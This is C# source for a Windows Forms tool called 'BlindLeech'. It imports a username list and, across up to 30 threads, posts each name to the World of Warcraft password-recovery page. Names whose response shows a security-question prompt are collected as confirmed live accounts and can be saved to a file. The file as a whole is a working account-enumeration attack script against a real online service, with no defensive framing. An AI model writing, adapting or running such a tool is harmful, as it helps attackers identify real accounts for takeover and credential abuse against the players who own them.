using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; using System.IO; using System.Reflection; using System.Net; using System.Collections.Specialized; using System.Threading; namespace BlindLeech { public partial class Form1 : Form { //Global Variables int UsernamePosition = -1; int ActualLabelTwoCounter = 0; public Form1() { InitializeComponent(); } //Loading Username list into "Usernames" listbox private void button1_Click(object sender, EventArgs e){ OpenFileDialog Open = new OpenFileDialog(); Open.Filter = "Text Document|*.txt|All Files|*.*"; try{ Open.ShowDialog(); StreamReader Import = new StreamReader(Convert.ToString(Open.FileName)); while (Import.Peek() >= 0) listBox1.Items.Add(Convert.ToString(Import.ReadLine())); } catch (Exception ex){ MessageBox.Show(Convert.ToString(ex.Message)); return; } label1.Text = "Count: " + listBox1.Items.Count; }//End button1_Click //Save usernames in "Real Usernames" listbox private void button2_Click(object sender, EventArgs e){ StreamWriter Write; SaveFileDialog Open = new SaveFileDialog(); try{ Open.Filter = ("Text Document|*.txt|All Files|*.*"); Open.ShowDialog(); Write = new StreamWriter(Open.FileName); for (int i = 0; i < listBox2.Items.Count; i++){ Write.WriteLine(Convert.ToString(listBox2.Items[i])); } Write.Close(); } catch (Exception ex){ MessageBox.Show(Convert.ToString(ex.Message)); return; } } //Clear "Usernames" listbox private void button3_Click(object sender, EventArgs e){ listBox1.Items.Clear(); }//End button3_Click //Clear "Real Usernames" listbox private void button4_Click(object sender, EventArgs e){ listBox2.Items.Clear(); } //Start Leeching public void button5_Click(object sender, EventArgs e) { progressText.Text = "Checking"; int NumberOfThreads = 30; try{ NumberOfThreads = Convert.ToInt32(ThreadsToRun.Text); } catch{ NumberOfThreads = 30; } if (listBox1.Items.Count > NumberOfThreads){ try{ for (int j = 0; j < NumberOfThreads; j++){ Thread thread1 = new Thread(new ThreadStart(getSite)); thread1.Start(); } } catch (Exception ex){ throw ex; } } else{ try{ for (int j = 0; j < listBox1.Items.Count-1; j++){ Thread thread1 = new Thread(new ThreadStart(getSite)); thread1.Start(); } } catch (Exception ex){ throw ex; } } } public void getSite() { string uri = @"http://www.worldofwarcraft.com/loginsupport/password.html"; if (UsernamePosition < listBox1.Items.Count-1) { UsernamePosition++; string username = listBox1.Items[UsernamePosition].ToString(); string data = "accountName=" + username; string source = ""; source = getInfo(data, uri); if (source.Contains("nswer")) { ActualLabelTwoCounter++; listBox2.Invoke(new UpdateTextCallback(this.addUsername), new object[] { username }); label2.Invoke(new UpdateTextCallback2(this.updateCounter), new object[] { ActualLabelTwoCounter }); } getSite(); } else { progressText.Text = "Done Checkingish"; } }// END GET SITE public void updateCounter(int amount) { label2.Text = "Counter: " + ActualLabelTwoCounter.ToString(); } //Used to invoke username into listbox2 public void addUsername(string user) { // Add the listbox text listBox2.Items.Add(user); } public static string getInfo(string DATA, string URL) { HttpWebRequest req = (HttpWebRequest)System.Net.WebRequest.Create(URL); req.Method = "post"; req.ContentType = "application/x-www-form-urlencoded"; req.AllowAutoRedirect = false; // Encode data and post it byte[] bytes = System.Text.Encoding.ASCII.GetBytes(DATA); req.ContentLength = DATA.Length; Stream os = req.GetRequestStream(); os.Write(bytes, 0, bytes.Length); os.Close(); // Get response HttpWebResponse resp = (HttpWebResponse)req.GetResponse(); StreamReader ResponseStream = new StreamReader(resp.GetResponseStream()); string Source = ""; Source = ResponseStream.ReadToEnd(); ResponseStream.Close(); resp.Close(); return Source; } //Used to invoke username into listbox2 public delegate void UpdateTextCallback(string user); public delegate void UpdateTextCallback2(int amount); } }